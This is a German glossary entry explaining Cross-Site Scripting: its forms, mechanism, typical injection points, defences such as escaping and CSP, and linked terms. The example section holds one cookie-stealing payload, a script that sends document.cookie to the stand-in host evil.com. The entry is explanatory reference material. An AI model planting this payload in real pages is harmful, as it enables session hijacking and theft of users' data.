XSS
XSS (Cross-Site Scripting) ist der Angriff, bei dem ein Angreifer bösartige Skripte in eine Seite einschleust, die im Browser anderer Nutzer ausgeführt werden; es gibt gespeicherte, reflektierte und DOM-basierte Formen.
Zweck
Verhindern, dass bösartige Skripte im Kontext einer vertrauenswürdigen Seite laufen, und Nutzersitzungen und -daten schützen.
Mechanismus
Der Angreifer injiziert <script> in die Seite (gespeichert über die Datenbank, reflektiert über URL-Parameter, DOM-basiert über clientseitige DOM-Manipulation). Das Skript läuft im Browser des Opfers mit dessen Sitzungsrechten, stiehlt Cookies, sendet Requests oder verändert die Seite. Abwehr: Output-Escaping, CSP, HttpOnly-Cookies.
Anwendungsfälle
- Unescapte Nutzereingaben rendern
- Injektion in Kommentaren und Rich Text
- URL-Parameter in Seiten reflektieren
- Drittanbieter-Skripte einschleusen
Beispiele
- Eingabe
<script>fetch("evil.com?c="+document.cookie)</script>OutputSteals the user cookiesStored XSS
Häufige Fehler
- Escaping only < > while missing quotes in attribute contexts
- Escape per context: HTML/attribute/JS/URL
Verwandte Begriffe
CSRF
CSRF (Cross-Site-Request-Forgery) ist eine Schwachstelle, bei der ein Angreifer einen angemeldeten Nutzer dazu verleitet, unwissentlich eine bösartige Anfrage an die Zielseite zu senden. GLOSSAR
CSP
CSP (Content Security Policy) deklariert über einen HTTP-Header, welche Ressourcenquellen eine Seite laden darf, und verkleinert die Angriffsfläche für XSS und Dateninjektion. GLOSSAR
HTML Entities
HTML-Entities escapen in HTML besonders bedeutungstragende Zeichen (<, >, &, ") in die Form &name; oder &#NNN;, sodass sie buchstäblich angezeigt statt als Markup geparst werden. GLOSSAR
SQL Injection
SQL-Injection bedeutet, dass Angreifer bösartige SQL-Fragmente in einen Abfragestring einfügen, sodass die Datenbank unerwünschte Befehle ausführt. GLOSSAR